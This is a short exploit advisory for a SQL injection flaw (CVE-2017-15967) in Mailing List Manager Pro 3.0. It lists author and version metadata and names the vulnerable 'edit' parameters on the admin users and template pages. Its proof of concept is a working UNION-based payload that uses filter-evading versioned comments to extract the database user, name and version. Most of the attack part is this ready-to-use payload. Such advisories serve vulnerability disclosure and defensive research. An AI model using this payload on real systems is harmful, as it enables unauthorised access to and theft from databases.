Mailing List Manager Pro 3.0 - SQL Injection

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# Exploit Title: Mailing List Manager Pro 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.vote-pro.com/
# Software Link: http://www.mailing-manager.com/demo.html
# Demo: http://www.mailing-manager.com/demo-gold/
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15967
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an users to inject sql commands....
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# Proof of Concept: 
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# http://localhost/[PATH]/admin/users/?sort=login&edit=[SQL]
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# -2'++/*!03333UNION*/(/*!03333SELECT*/0x283129,0x283229,0x283329,/*!03333CONCAT_WS*/(0x203a20,USER()),0x283529,/*!03333CONCAT_WS*/(0x203a20,DATABASE()),/*!03333CONCAT_WS*/(0x203a20,VERSION()),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429)--+-
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# http://localhost/[PATH]/admin/template/?edit=[SQL]
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# Etc..
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